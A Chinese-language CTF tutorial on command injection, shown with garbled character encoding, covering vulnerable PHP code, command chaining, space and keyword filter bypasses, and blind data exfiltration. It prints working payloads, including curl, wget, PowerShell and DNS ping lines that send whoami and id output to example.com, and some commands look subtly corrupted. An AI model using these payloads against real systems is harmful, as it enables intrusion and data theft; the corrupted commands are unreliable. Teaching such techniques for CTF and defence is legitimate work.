通常情況下,在開(kāi)發(fā)者使用一些執(zhí)行命令函數(shù)且未對(duì)用戶輸入的數(shù)據(jù)進(jìn)行安全檢查時(shí),可以注入惡意的命令,使整臺(tái)服務(wù)器處于危險(xiǎn)中。
作為一名CTFer,命令執(zhí)行的用途如下:
①技巧型直接獲取flag;
②進(jìn)行反彈Shell,然后進(jìn)入內(nèi)網(wǎng)的大門;
③利用出題人對(duì)權(quán)限的控制不嚴(yán)格,對(duì)題目環(huán)境擁有控制權(quán),導(dǎo)致其他隊(duì)伍選手無(wú)法解題,這樣在時(shí)間上會(huì)占一定優(yōu)勢(shì)。
在CTF中,命令執(zhí)行一般發(fā)生在遠(yuǎn)程,故被稱為遠(yuǎn)程命令執(zhí)行,即RCE(Remote Command Exec),也被稱為RCE(Remote Code Exec)。
命令執(zhí)行的原理和測(cè)試方法
命令執(zhí)行原理
在各類編程語(yǔ)言中,為了方便程序處理,通常會(huì)存在各種執(zhí)行外部程序的函數(shù),當(dāng)調(diào)用函數(shù)執(zhí)行命令且未對(duì)輸入做過(guò)濾時(shí),通過(guò)注入惡意命令,會(huì)造成巨大的危害。
下面以PHP中的system()函數(shù)舉例:
<?php
$dir= $_GET['d'];
system("echo ".$dir);
?>
在各類編程語(yǔ)言中,“&&”是and語(yǔ)法的表達(dá),當(dāng)兩邊的表達(dá)式都為真時(shí),才會(huì)返回真。類似的語(yǔ)法還有or,通常用“||”表示。
注意,它們存在惰性,在and語(yǔ)法中,若第一個(gè)表達(dá)式的結(jié)果為假,則第二個(gè)表達(dá)式不會(huì)執(zhí)行,因?yàn)樗銥榧佟Ecor語(yǔ)法類比,若第一個(gè)表達(dá)式為真,則第二個(gè)表達(dá)式也不會(huì)執(zhí)行,因?yàn)樗銥檎妗?/p>
所以,命令注入就是通過(guò)注入一些特殊字符,改變?cè)镜膱?zhí)行意圖,從而執(zhí)行攻擊者指定的命令。
命令執(zhí)行基礎(chǔ)
在測(cè)試前,我們需要了解cmd.exe、bash程序在解析命令時(shí)的規(guī)則,掌握Windows、Linux的異同點(diǎn)。
1.轉(zhuǎn)義字符
系統(tǒng)中的cmd.exe、bash程序執(zhí)行命令能夠解析很多特殊字符,它們的存在讓BAT批處理和bash腳本處理工作更加便捷,但是如果想去掉特殊字符的特殊意義,就需要進(jìn)行轉(zhuǎn)義,所以轉(zhuǎn)義字符即為取消字符的特殊意義。
Windows的轉(zhuǎn)義字符為“^”
Linux的轉(zhuǎn)義字符為“\”
可以看到,原本存在特殊意義的“&”被取消意義,從而在終端中輸出。
windows:
echo 111 && echo 222
111
222
echo 111 ^&^& echo 222
111 && echo 222
linux:
echo 111 && echo 222
111
222
echo 111 \&\& echo 222
111 && echo 222
2.多條命令執(zhí)行
在命令注入中通常需要注入多條命令來(lái)擴(kuò)大危害,下面是一些能夠構(gòu)成多條命令執(zhí)行的字符串:Windows下,&&、||、%0a
;Linux下,&&、||、;、$()、``、%0a、%0d
。
顯示了“noexist||echo pwnpwnpwn”,noexist程序本身不存在,所以報(bào)錯(cuò),但是通過(guò)注入“||”字符,即使前面報(bào)錯(cuò),還會(huì)執(zhí)行后面的“echo pwnpwn”命令。
windows:
noexist || echo pwnpwn
pwnpwn
在上面的例子中,“&&”和“||”利用條件執(zhí)進(jìn)行多條命令執(zhí)行,“%0a”和“%0d”則是由于換行而可以執(zhí)行新的命令。另外,在Linux中需要注意,雙引號(hào)包裹的字符串“$()”或“``”中的內(nèi)容被當(dāng)作命令執(zhí)行,但是單引號(hào)包括的字符串就是純字符串,不會(huì)進(jìn)行任何解析。
linux:
echo 111 && echo 222
111
222
echo 111; echo 222
111
222
echo "$(id)"
uid=0(root)...
echo "`id`"
uid=0(root)...
echo '`id`'
`id`
3.注釋符號(hào)
與代碼注釋一樣,當(dāng)合理利用時(shí),命令執(zhí)行能夠使命令后面的其他字符成為注釋內(nèi)容,這樣可以降低程序執(zhí)行的錯(cuò)誤。Windows的注釋符號(hào)為“::”,在BAT批處理腳本中用得較多;Linux的注釋符號(hào)為“#”,在bash腳本中用得較多。
命令執(zhí)行的基本測(cè)試
在面對(duì)未知的命令注入時(shí),最好通過(guò)各種Fuzz來(lái)確認(rèn)命令注入點(diǎn)和黑名單規(guī)則。
一般命令的格式如下:
程序名1-程序參數(shù)名1-參數(shù)值1 && 程序2-程序參數(shù)名2-參數(shù)值2
下面以ping-nc 1 www.baidu.com為例構(gòu)建Fuzz列表。
? 程序名:ping
? 參數(shù):-nc
? 參數(shù)值:1和www.baidu.com
? 程序名與參數(shù)值之間的字符串:空格
? 整個(gè)命令
參數(shù)值有時(shí)較為復(fù)雜,可能是部分可控的,被雙引號(hào)、單引號(hào)包裹,這時(shí)需要注入額外的引號(hào)來(lái)逃逸。
命令執(zhí)行的繞過(guò)和技巧
命令執(zhí)行的題目需要把控的因素比較多,如權(quán)限的控制、題目接下來(lái)的銜接。但是命令執(zhí)行比較簡(jiǎn)單、粗暴,經(jīng)常存在技巧性繞過(guò)的考點(diǎn)。
缺少空格
在一些代碼審計(jì)中經(jīng)常會(huì)禁止空格的出現(xiàn)或者會(huì)將空格過(guò)濾為空,下面將講解如何突破。例如,對(duì)于如下PHP代碼:
<?php
$cmd = str_replace(" ","",$_GET['cmd']);
echo "CMD: ".$cmd."<br>";
?>
將cmd參數(shù)中的空格過(guò)濾為空,導(dǎo)致執(zhí)行“echo pwnpwn”命令失敗。
但是在命令中間隔的字符可以不只是空格(URL編碼為“%20”),還可以利用burp suite對(duì)%00~%ff區(qū)間的字符串進(jìn)行測(cè)試,可以發(fā)現(xiàn)還能用其他字符進(jìn)行繞過(guò),如“%09”“%0b”“%0c”等。
利用burp suite進(jìn)行Fuzz,再次輸入“%09”字符,即“echo%09pwnpwnpwn
”,就能發(fā)現(xiàn)可以繞過(guò)空格的限制。
以上只是其中一種通用去Fuzz未知情況的方式。若將“%0a”“%0d”等不可見(jiàn)字符都禁止,還可以通過(guò)字符串截取的方式獲取空格。
1.Windows
例如,命令如下:
%ProgramFiles:~10,1%
其中,“~”相當(dāng)于截取符,表示獲取環(huán)境變量%ProgramFiles%的值,一般為C:\Program Files。所以,以上命令表示,從第10個(gè)開(kāi)始且獲取一個(gè)字符串,也就是空格。
2.Linux
Linux中也有一些繞過(guò)空格執(zhí)行的方式:$IFS$9
bash有效,zsh、dash無(wú)效:{cmd,args}
讀取文件時(shí):cat<>flag
$IFS$9
:Linux存在IFS(Internal Field Separator)環(huán)境變量,即內(nèi)部字段分隔符,定義了bash shell的命令間隔字符,一般為空格。注意,當(dāng)只注入$IFS
時(shí),即執(zhí)行的命令結(jié)果為echo$IFSaaa
,可以發(fā)現(xiàn)解析后的$IFSaaa
變量是不存在的,所以需要間隔符來(lái)避免,通常使用“$9
”。“$9
”表示為當(dāng)前系統(tǒng)Shell進(jìn)程的第9個(gè)參數(shù),通常是一個(gè)空字符串,即最終能成功執(zhí)行的命令為“echo$IFS$9aaa
”。
黑名單關(guān)鍵字
在CTF比賽中,有時(shí)會(huì)遇上黑名單關(guān)鍵字,如對(duì)cat、flag等字符串進(jìn)行攔截,這時(shí)可以用下面的方式繞過(guò)。
1.利用變量拼接
a=c;b=at;c=he;d=llo;$a$b ${c}$g1z3ch4
其中,a變量為c,b變量為at,最終$a$b
是cat。c變量為he,d變量為llo,最終${c}$boswgud為hello
,所以在這里執(zhí)行的命令是“cat hello”。
2.使用通配符
在通配符中,“?
”代表任意一個(gè)字符串,“*
”則代表任意個(gè)字符串。
cat /tm?/fl* (Linux)
type fla* (windows)
可以看到,上面通過(guò)cat、type命令,結(jié)合通配符,實(shí)現(xiàn)了對(duì)黑名單字符串的繞過(guò)。
3.借用已有字符串
若是禁用“<>?”等字符串,則可以借用其他文件中的字符串,利用substr()函數(shù)截取出某個(gè)具體字符。
echo expr substr $(awk NR==1 lemon.php) 1 1
執(zhí)行無(wú)回顯
在CTF中,我們經(jīng)常遇到命令執(zhí)行的結(jié)果不在網(wǎng)頁(yè)上顯示的情況,這時(shí)可以通過(guò)以下幾種方式獲取執(zhí)行結(jié)果。在開(kāi)始前,推薦搭建一個(gè)VTest平臺(tái)https://github.com/opensec-cn/vtest,以便測(cè)試。搭建完成后,開(kāi)始測(cè)試,測(cè)試代碼如下:
<?php
exec($_GET['cmd']);
?>
1.HTTP通道
假設(shè)自己的域名為example.com,下面以獲取當(dāng)前用戶權(quán)限為例。
在Windows下,目前只能通過(guò)相對(duì)復(fù)雜的命令進(jìn)行外帶(如果未來(lái)Windows支持Linux命令,將更加方便數(shù)據(jù)外帶):
for /F %x in ('echo hello') do start http://example.com/httplog/%x
但是其缺陷是調(diào)用瀏覽器后并不會(huì)關(guān)閉,并且遇上特殊字符、空格時(shí)會(huì)存在截?cái)鄦?wèn)題,所以可以借用powershell進(jìn)行外帶數(shù)據(jù)。在Powershell 2.0下,執(zhí)行如下命令:
for /F %x in ('echo hello') do powershell $a = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New=Object System.Net.WebClient;$b.DownloadString('http://example.com/httplog/'+$a);
這里是對(duì)echo hello的執(zhí)行結(jié)果進(jìn)行Base64編碼,然后通過(guò)Web請(qǐng)求將結(jié)果發(fā)送出去。
在Linux下,由于存在管道等,因此極其方便數(shù)據(jù)的傳輸,通常利用curl、wget等程序進(jìn)行外帶數(shù)據(jù)。例如:
curl example.com/`whoami`
wget example.com/$(id|base64)
上面便是利用多條命令執(zhí)行中的“`”和“$()”進(jìn)行字符串拼接,最終通過(guò)curl、wget等命令向外進(jìn)行請(qǐng)求,從而實(shí)現(xiàn)了數(shù)據(jù)外帶。
2.DNS通道
經(jīng)常我們會(huì)以ping來(lái)測(cè)試DNS外帶數(shù)據(jù),ping的參數(shù)在Windows與Linux下有些不同。如限制ping的個(gè)數(shù),在Windows下是“-n”,而在Linux下是“-c”。為了兼容性處理,可以聯(lián)合使用,即“ping-nc 1 test.example.com”。
在Linux下:
ping -c 1 `whoami`.example.com
在Windows下相對(duì)復(fù)雜,主要利用delims命令進(jìn)行分割處理,最終拼接到域名前綴上,再利用ping程序進(jìn)行外帶。
<1>獲取計(jì)算機(jī)名:
for /F "delims=\" %i ('whoami') do ping -n 1 %i.xxx.example.com
<2>獲取用戶名:
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.example.com
3.時(shí)間盲注
網(wǎng)絡(luò)不通時(shí),可以通過(guò)時(shí)間盲注將數(shù)據(jù)跑出來(lái),主要借用“&&”和“||”的惰性;在Linux下可使用sleep函數(shù),在Windows下則可以選擇一些耗時(shí)命令,如ping-n 5 127.0.0.1。
4.寫入文件
二次返回有時(shí)會(huì)遇上網(wǎng)絡(luò)隔離的情況,time型讀數(shù)據(jù)將會(huì)極其緩慢,可以考慮將執(zhí)行命令結(jié)果寫入到Web目錄下,再次通過(guò)Web訪問(wèn)文件從而達(dá)到回顯目的。
例如,通過(guò)“>”重定向,將結(jié)果導(dǎo)出到Web目錄http://www.nu1l.com/exec/3.php?cmd=whoami>test
下,再次訪問(wèn)導(dǎo)出文件http://www.nu1l.com/exec/test
,便可以得到結(jié)果。